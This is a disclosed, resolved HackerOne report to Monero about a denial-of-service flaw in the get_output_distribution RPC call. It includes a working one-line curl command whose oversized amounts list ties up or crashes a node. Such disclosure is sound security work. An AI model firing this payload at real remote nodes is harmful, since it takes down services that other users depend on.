RPC call crashes node

Disclosed: 2022-08-20 03:41:29 By xfang To monero
High
Vulnerability Details
## Summary: Passing a large list of amounts to the `get_output_distribution` call crashes a remote node, after maybe 90 seconds of keeping it busy. ## Releases Affected: * Probably all ## Steps To Reproduce: ``` values=`echo $(seq 0 500 900000)|sed -e 's/ /,/g'` ; curl http://127.0.0.1:38081/json_rpc -d '{"jsonrpc":"2.0","id":"0","method":"get_output_distribution","params":{"amounts": ['$values'], "from_height": 100, "cumulative": false}' -H 'Content-Type: application/json' ``` Reduce the 900000 number a bit and instead of crashing the daemon, it'll do a denial of service, like 90 seconds per call, making it hard for anyone else to use that call. ## Supporting Material/References: * Unnecessary. The attack is straightforward and compelling. ## Housekeeping Payment address: ████ ## Impact An attacker can crash any remote node that exposes `get_output_distribution` or tie up availability of that function call. I think that's serious.
Actions
View on HackerOne
Report Stats
  • Report ID: 1379707
  • State: Closed
  • Substate: resolved
  • Upvotes: 28
Share this report